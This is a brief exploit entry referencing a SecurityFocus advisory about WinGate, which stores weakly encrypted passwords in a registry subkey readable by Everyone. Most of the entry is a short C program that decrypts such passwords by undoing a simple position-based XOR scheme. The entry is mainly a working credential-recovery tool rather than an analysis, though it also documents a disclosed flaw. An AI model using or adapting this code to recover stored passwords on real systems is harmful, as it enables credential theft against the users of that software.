// source: https://www.securityfocus.com/bid/511/info
WinGate stores encrypted passwords in the registry, in a subkey where Everyone has Read access by default. The encryption scheme is weak, and therefore anyone can get and decrypt them.
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
main(int argc, char *argv[]) {
char i;
for(i = 0; i < strlen(argv[1]); i++)
putchar(argv[1][i]^(char)((i + 1) << 1));
return 0;
}